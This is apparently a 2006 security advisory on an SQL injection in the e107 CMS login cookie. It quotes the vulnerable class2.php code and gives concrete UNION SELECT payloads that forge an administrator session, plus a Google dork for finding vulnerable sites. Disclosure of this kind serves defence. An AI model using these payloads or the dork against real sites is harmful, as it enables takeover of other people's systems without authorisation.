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securityvulnsSecurityvulnsSECURITYVULNS:DOC:12667
HistoryMay 14, 2006 - 12:00 a.m.

SQL-Injection in e107 allows attacker to become a site admininstrator

2006-05-1400:00:00
vulners.com
19

Software: e107 (CMS)

Versions: <= 0.7.2

Type: SQL-injection

Homepage: www.e107.org

Description:


SQL-Injection in e107 allows attacker to become a site admininstrator.

Requirements:


Magic_quotes_gpc = Off

Vulnerability:


Vulnerability has been found in processing the COOKIE.
COOKIE use for authentification users and administrator.
Data transfered to this parameter not are filtered.

Code:


class2.php

> list($uid, $upw)=($_COOKIE[$pref['cookie_name']] ? explode(".",
> > $_COOKIE[$pref['cookie_name']]) : explode(".", $_SESSION[$pref['cookie_name']]));

> if($result = get_user_data($uid, "AND md5(u.user_password)='{$upw}'", FALSE)) {

Exploit:
0.6.xxx

1.blabla_hash_password' union select * from e107_user where user_id=1/*

0.7.X

1.blabla_hash_password' union select
1,'admin_d','admin',4,5,6,'some_user@some_hostcom',8,9,10,11,12,'1139995361','1140005365',15,16,17,18,19,20,21,22,23,24,'1',26,27,'0',29,30,31,32,33
/*

Additional Information:


Google dorks: "Powered by e107"

Vendor Status


The vendor is informed!